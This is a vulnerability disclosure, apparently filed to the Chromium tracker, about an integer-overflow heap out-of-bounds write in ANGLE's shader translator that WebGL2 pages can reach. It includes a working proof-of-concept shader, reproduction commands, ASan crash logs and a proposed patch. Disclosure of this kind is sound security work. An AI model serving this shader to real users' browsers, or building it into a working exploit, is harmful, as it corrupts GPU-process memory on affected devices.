    void main() {
      const int A[16384] = int[16384](0x41414141, /* ...16384 literals... */);
      const S sA = S(A);
      int r = T2(S[32768](sA, /* ...32768 refs... */)).s[0].a[0];  // inline ctors; cap failure discarded
      gl_Position = vec4(float(r));
    }
    
  2. During parsing, the final scalar index folds and materializes the T2 and S[32768] constructors — 2^29 elements each, byte size wraps, PoolAllocator returns an 11-byte block.
  3. Expected: the oversize constructor fails compilation cleanly (or the allocation fails) with nothing written.

Observed: demonstrated end to end in two halves over the same tree and shader. On 64-bit ASan Chrome, the web-content → GPU-process path fires exactly as described and requests 0x100000018 bytes inside PoolAllocator::allocate (reachability; 64-bit cannot wrap). On 32-bit builds of the identical translator, ASan reports heap-buffer-overflow WRITE of size 4 at IntermNode.cpp:901 into the 11-byte wrapped region allocated at PoolAlloc.cpp:321, and the 32-bit release build SIGSEGVs after the init loop linearly zeroes ~4.6 MB of live heap and runs off the end of the heap.

In the observed codegen the element-init loop faults before the memcpy stage, so the demonstrated write content is the zero-fill variant; reaching the attacker-content memcpy stage requires codegen that collapses the init loop into a memset whose 32-bit length (2^29 × 8) wraps to 0 — plausible under official PGO/LTO, not demonstrated. Either lowering is an out-of-bounds heap write; only the written bytes differ. A single-run 32-bit-Chrome reproduction requires 32-bit hardware.

Severity

high — Memory corruption (linear OOB heap write) in the GPU process, reachable from ordinary web content (WebGL2 default-on, no user interaction), not MiraclePtr-protected: squarely the high tier on sandboxed-GPU platforms (Win32). On Android arm32 the GPU process is unsandboxed and the translator is platform-neutral, which argues for critical; this is held at high because the demonstrated primitive is discounted twice — the write length is not controllable (it runs until it faults, so exploitation must race concurrent GPU-process threads against a guaranteed crash), and attacker-controlled write content depends on unverified compiler lowering (observed builds emit the zero-fill variant). Chrome rated the sibling count-overflow in this same function (CVE-2026-8519) Critical, so high is conservative; triage may reasonably upgrade on the Android configuration.

Suggested Fix Direction

Extend the crbug.com/498400132 idiom to the byte product: validate count * sizeof(TConstantUnion) with CheckedNumeric before both new TConstantUnion[...] sites in getConstantValue() (this shape was verified to stop the trigger while leaving normal shaders unaffected). For defense in depth, make PoolAllocator::allocate()’s overflow checks release-fatal and have addConstructor() honor checkVariableSize() failure.


POC: ANGLE TIntermAggregate::getConstantValue() byte-size overflow — element counts in [2^29, 2^32) pass the count guard, wrap the new[] byte computation on 32-bit, and PoolAllocator returns an undersized block that is then written out-of-bounds (GPU process, WebGL2)

Strategy: web-content + input-file Bug Type: heap-buffer-overflow (OOB WRITE), CWE-680 (integer overflow → under-allocation)

Vulnerable code: third_party/angle/src/compiler/translator/IntermNode.cpp:877-901 (crbug.com/498400132 hardening validates only the element count; the byte product count * sizeof(TConstantUnion) (=count * 8) is unchecked, and the struct branch at :900-901 has no guard at all. PoolAllocator::allocate()’s only overflow checks are release-stripped ASSERTs — common/PoolAlloc.cpp:294,319.)

The overflow requires 32-bit size_t (counts in [2^29, 2^32) → byte product ≥ 2^32). Affected shipping configurations are 32-bit ARM Android (armeabi-v7a GPU process, unsandboxed there) and 32-bit Windows. This environment has no 32-bit-Chrome lane, so the proof is split into two runs over the same tree and the same shader:

  • Part A — web content, real Chrome (64-bit ASAN build): proves end-to-end reachability. poc.html → WebGL2 compileShader() → GPU process → parse-time constant folding → new TConstantUnion[2^29] → PoolAllocator::allocate requests 0x100000018 bytes (2^32 + pageHeaderSkip 16 + alignment 8 — attacker-determined size). On 64-bit the product cannot wrap, so an ASAN allocation-size oracle (max_allocation_size_mb, observation only) is used to snapshot the call. The GPU process dies; the browser logs GPU process exited unexpectedly; the page observes webglcontextlost. Log: chrome-gpu-asan.log.
  • Part B — the same compiler built for 32-bit (i386), stock in-tree driver: proves the memory corruption. angle_shader_translator -s=w2 (the in-tree sample binary, SH_WEBGL2_SPEC, zero source modification) on the same shader:
    • ASAN build: heap-buffer-overflow WRITE — the byte product wraps, clang passes the Itanium-ABI SIZE_MAX sentinel to the pool operator new[], and PoolAllocator::allocate(0xFFFFFFFF) wraps SIZE_MAX+8+4 to 11 bytes (new (nothrow) uint8_t[11], PoolAlloc.cpp:321). The 2^29-element initialization then writes OOB immediately. Log: asan-32bit-translator.log.
    • Release ThinLTO build (production-like codegen, no sanitizer): raw SIGSEGV after the init-store loop linearly overwrites ~4.6 MB of live heap (translator pool pages full of vtable-bearing AST nodes) and falls off the end of [heap]. Log: release-32bit-crash.log.

Prerequisites

  • Chromium checkout with warm 64-bit ASAN build (out/asan/chrome).

  • Two 32-bit x86 out dirs (the tree’s own debian_bullseye_i386-sysroot is used; build takes <1 min for this target):

    # [`out/x86-asan/args.gn`](https://source.chromium.org/chromium/chromium/src/+/main:out/x86-asan/args.gn)                      # [`out/x86-lto/args.gn`](https://source.chromium.org/chromium/chromium/src/+/main:out/x86-lto/args.gn)
    use_remoteexec = true                       use_remoteexec = true
    reclient_cfg_dir = "../../buildtools/reclient_cfgs/linux"   (same)
    target_cpu = "x86"                          target_cpu = "x86"
    is_debug = false                            is_debug = false
    dcheck_always_on = false                    dcheck_always_on = false
    symbol_level = 1                            symbol_level = 1
    is_asan = true                              use_thin_lto = true
    is_component_build = false                  is_component_build = false
    use_clang_modules = false                   use_clang_modules = false
    enable_profiling = false                    enable_profiling = false
    use_viz_debugger = false                    use_viz_debugger = false
    v8_target_cpu = "arm"                       v8_target_cpu = "arm"   # root-BUILD.gn gate for linux-x86; V8 not built
                                                use_lld = true
                                                use_mold = false
    

    dcheck_always_on=false matches production (ANGLE ASSERTs and pool guard blocks compiled out, as in release Chrome).

  • Runtime note for this sandbox only: the i386 sysroot’s libgcc_s.so.1 is a link-only stub that crashes ld.so if loaded; repro-env/ contains a 30-line functional replacement (see repro-env/unwind_shim.c). On any machine with normal 32-bit multilib runtime this is unnecessary.

Reproduction

# 0) Build
gn gen out/x86-asan && autoninja -C out/x86-asan third_party/angle:angle_shader_translator
gn gen out/x86-lto  && autoninja -C out/x86-lto  third_party/angle:angle_shader_translator

# 1) Part A: web content against real Chrome (64-bit ASAN)
cd <artifacts-dir> && python3 gen_shader.py          # writes poc_shader.vert (~272 KB)
python3 server.py &                                  # serves poc.html on :8080
ASAN_OPTIONS="max_allocation_size_mb=2048:detect_odr_violation=0" \
  out/asan/chrome --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --user-data-dir=/tmp/chrome-poc-profile --no-proxy-server --enable-logging=stderr \
  http://localhost:8080/poc.html 2>&1 | tee /tmp/chrome-run.log
# wait ~15 s; grep "ERROR: AddressSanitizer" /tmp/chrome-run.log

# 2) Part B: 32-bit corruption proof (stock in-tree translator binary, WebGL2 spec)
export LD_LIBRARY_PATH=/usr/lib32:<dir-with-32bit-libgcc_s>   # see repro-env/ note
cd out/x86-asan && ./angle_shader_translator -s=w2 <artifacts-dir>/poc_shader.vert
cd out/x86-lto  && ./angle_shader_translator -s=w2 <artifacts-dir>/poc_shader.vert  # raw SIGSEGV

The shader (gen_shader.py → poc_shader.vert, ESSL 3.00 / WebGL2, no extensions)

#version 300 es
struct S  { int a[16384]; };          // 64 KB leaf
struct T2 { S s[32768]; };            // 16384*32768 = 2^29 elements
void main() {
  const int A[16384] = int[16384](0x41414141, ... 16384 literals ...);  // passes 64KB cap
  const S sA = S(A);                                                    // passes caps
  int r = T2(S[32768](sA, ... 32768 refs ...)).s[0].a[0];               // inline ctors: cap result ignored
  gl_Position = vec4(float(r));
}

Declared leaves stay under every parser cap; the huge constructors are inline expressions whose checkVariableSize result TParseContext::addConstructor (ParseContext.cpp:6639-6642) discards. The final scalar index folds during parsing (TIntermBinary::fold branch 2 → weak getConstantValue() recursion), materializing the T2 constructor through the unguarded branch at IntermNode.cpp:900-901 — before compilation is rejected. The T2 wrapper defeats fold branch 1 (which would eliminate a direct index into a plain array constructor).

Expected Result

  • Part A: ASAN allocation-size-too-big report in the GPU process with the stack operator new[](nothrow) ← PoolAllocator::allocate (PoolAlloc.cpp:321) ← TIntermAggregate::getConstantValue ← TIntermBinary::getConstantValue×4 ← fold ← yyparse ← sh::Compile ← GLES2DecoderPassthroughImpl::DoCompileShader ← GpuChannel::ExecuteDeferredRequest (renderer IPC), size 0x100000018.
  • Part B (ASAN, 32-bit): heap-buffer-overflow ... WRITE of size 4, region [..., ...) of 11 bytes allocated at PoolAllocator::allocate from TIntermAggregate::getConstantValue (IntermNode.cpp:901). The 11-byte block is the arithmetic fingerprint of the wrap: 0xFFFFFFFF + 8 (page header) + 4 (alignment) ≡ 11 (mod 2^32) — i.e. clang’s SIZE_MAX overflow sentinel reached the allocator and was wrapped, not rejected.
  • Part B (release): SIGSEGV in TConstantUnion::TConstantUnion() inlined into the new TConstantUnion[0x20000000] init loop; faulting address == first byte past [heap] after ~4.6 MB of live heap was overwritten.

Output (actual, abridged — full logs in this directory)

32-bit ASAN (asan-32bit-translator.log):

==2798==ERROR: AddressSanitizer: heap-buffer-overflow ... WRITE of size 4 ...
    #0 sh::TConstantUnion::TConstantUnion() ConstantUnion.cpp:70:36
    #1 sh::TIntermAggregate::getConstantValue() const IntermNode.cpp:901:28
    #2-5 sh::TIntermBinary::getConstantValue() const IntermNode.cpp:2327:56
    #6 sh::TIntermBinary::fold(...) IntermNode.cpp:2253:55
    #8 sh::TParseContext::addIndexExpression(...) ParseContext.cpp:7558
    #9 yyparse ... #14 sh::Compile ...
0xef7005bb is located 0 bytes after 11-byte region [0xef7005b0,0xef7005bb)
allocated by thread T0 here:
    #0 operator new[](unsigned int, std::nothrow_t const&)
    #1 angle::PoolAllocator::allocate(unsigned int) PoolAlloc.cpp:321:27
    #2 operator new[] ConstantUnion.h:21 / sh::TIntermAggregate::getConstantValue() IntermNode.cpp:901:28

Chrome GPU process, web content (chrome-gpu-asan.log):

==4033==ERROR: AddressSanitizer: requested allocation size 0x100000018 ... (thread T0 (chrome))
    #1 angle::PoolAllocator::allocate(unsigned long) PoolAlloc.cpp:321:27
    #2 sh::TIntermAggregate::getConstantValue() const
    ...
    #19 gpu::gles2::GLES2DecoderPassthroughImpl::DoCompileShader(...)
    #24 gpu::GpuChannel::ExecuteDeferredRequest(...)
[pid 4033 == "--type=gpu-process"]
[3994:...] GPU process exited unexpectedly: exit_code=256
[poc-status] EVENT: webglcontextlost (GPU-side death observed)

Notes on fidelity

  • What is fully demonstrated: web-content reachability of the attacker-sized allocation in the real Chrome GPU process (Part A), and, on a 32-bit build of the identical translator, the byte-product wrap → SIZE_MAX sentinel → 11-byte pool block → linear out-of-bounds heap WRITE during shader parsing (Part B, ASAN + release). The crash fires in the struct branch (:901, no guard); the array branch (:884) computes the identical 2^29 count that CheckedNumeric accepts (2^29 < 2^32), so both windows are covered by the same arithmetic.
  • Content control: in these builds the compiler emits the element-constructor loop for new TConstantUnion[n], so the OOB write is the zero/EbtVoid fill and execution faults before the memcpy stage at IntermNode.cpp:887-895 — an unbounded sequential OOB write with uncontrolled content. If codegen collapses that init loop into a memset whose 32-bit length (2^29*8 mod 2^32 = 0) wraps to a no-op (possible under official PGO/LTO codegen), execution instead reaches the memcpy loop, which copies the attacker’s 0x41414141 constants OOB. Either lowering corrupts GPU-process heap; only the written bytes differ.
  • The 32-bit runs use the stock in-tree angle_shader_translator sample with SH_WEBGL2_SPEC; it does not set Chrome’s rejectWebglShadersWithLargeVariables hardening option, but Part A shows the identical materialization running in real Chrome with all hardened-context options active (the inline-constructor cap result is discarded in the parser, so the option does not gate this path).

Bandaid fix

bandaid-fix.patch extends the existing crbug.com/498400132 idiom to the byte product in both branches of TIntermAggregate::getConstantValue(): validate count * sizeof(TConstantUnion) with CheckedNumeric and ValueOrDie() (controlled trap) before new TConstantUnion[...]. Verified: after applying, the POC shader dies at the new check (ud2 in ValueOrDie, bandaid-verification.log) with no ASAN error, and trivial shaders still compile. A fuller fix should also make TParseContext::addConstructor honor the checkVariableSize failure and make PoolAllocator::allocate overflow checks release-fatal.

Files

file purpose
poc.html, server.py web-content delivery (Part A)
gen_shader.py, poc_shader.vert shader generator / generated shader (both parts)
chrome-gpu-asan.log Part A: GPU-process ASAN report + browser + page beacons
asan-32bit-translator.log Part B: 32-bit ASAN heap-buffer-overflow (full report)
release-32bit-crash.log Part B: 32-bit release (ThinLTO) raw crash + heap-map analysis
bandaid-fix.patch, bandaid-verification.log minimal fix + verification
repro-env/ sandbox-only runtime shim for the broken i386-sysroot libgcc_s.so.1 stub

Attached file hierarchy:

The following directories were attached as zip archives:

  • repro-env.zip → repro-env/

Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker